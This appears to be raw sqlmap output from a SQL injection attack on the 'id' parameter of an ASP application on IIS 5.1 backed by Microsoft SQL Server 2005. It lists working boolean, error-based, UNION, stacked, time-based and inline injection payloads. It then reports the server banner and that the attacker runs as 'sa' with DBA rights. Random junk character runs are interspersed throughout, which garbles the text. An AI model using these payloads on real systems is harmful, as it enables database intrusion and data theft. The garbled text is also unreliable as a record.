Payload: id=1 AND 2986=2986 ' [2 H6 ~* @% w' [, k4 }- N2 Z" W 5 ~, X: ~2 U/ H! x, x( s Type: error-based* \1 }* {7 P& U1 }0 Y1 p/ R; i
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause " G. q/ ^% c( d7 Y# O# t Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)))4 g0 Q1 {2 g1 a8 K: c
2 y8 h& V. A. H' \- } Type: UNION query) h" H" ~5 c( X z1 Y# G+ Y2 P
Title: Generic UNION query (NULL) - 3 columns2 h8 V0 u9 N5 ?* T
Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)-- + e* w* U4 R- r8 | / k& Y8 a0 @5 B: m Type: stacked queries , W$ G* n: M4 H0 x; S Title: Microsoft SQL Server/Sybase stacked queries- Q! W+ n9 d$ F! i9 A" I w% I
Payload: id=1; WAITFOR DELAY '0:0:5'-- ( G" m" x# A) W) B & ^8 Q- ]4 _: \4 A U: @" ` Type: AND/OR time-based blind 4 W9 [2 I; L" l9 p( {% H Title: Microsoft SQL Server/Sybase time-based blind2 v% K. S1 U: L& A$ X% J4 x
Payload: id=1 WAITFOR DELAY '0:0:5'--) a- _" Y' y) K- U
1 i1 [+ |7 P, V
Type: inline query . z' i3 ^3 P# ^0 f Title: Microsoft SQL Server/Sybase inline queries $ o: @4 n4 ]9 p& S4 K# M Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)) 2 S# Q1 |; Z" K! c! V. {. [7 i---* N# e1 {; E- x$ g1 L4 [
web server operating system: Windows XP 0 w: [5 M4 ^' E) E: v9 a; I: Yweb application technology: ASP, Microsoft IIS 5.1 - [' N% @! F U+ N5 jback-end DBMS operating system: Windows XP Service Pack 2 7 \5 l6 c$ r9 c5 c& c1 n/ R- Nback-end DBMS: Microsoft SQL Server 2005+ j/ |+ J- x" t; n4 j) [
banner: ; Y4 n5 P( |+ E) \/ @8 q--- # U5 U( Z9 [# V- D; YMicrosoft SQL Server 2005 - 9.00.1399.06 (Intel X86) $ S1 U- h" d2 a+ d" d! @6 j+ t+ D Oct 14 2005 00:33:37 # ^8 E( x2 g) \! R- j. @" s* T Copyright (c) 1988-2005 Microsoft Corporation) s) [; i+ g1 K
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2) ], Z+ t5 j! |2 Y--- " V- l2 n2 r( @( X9 c( Z: vcurrent user: 'sa'* J) k7 O& N$ d1 D, f
current database: 'testdb'7 s# N8 G% S; n6 u
current user is DBA: True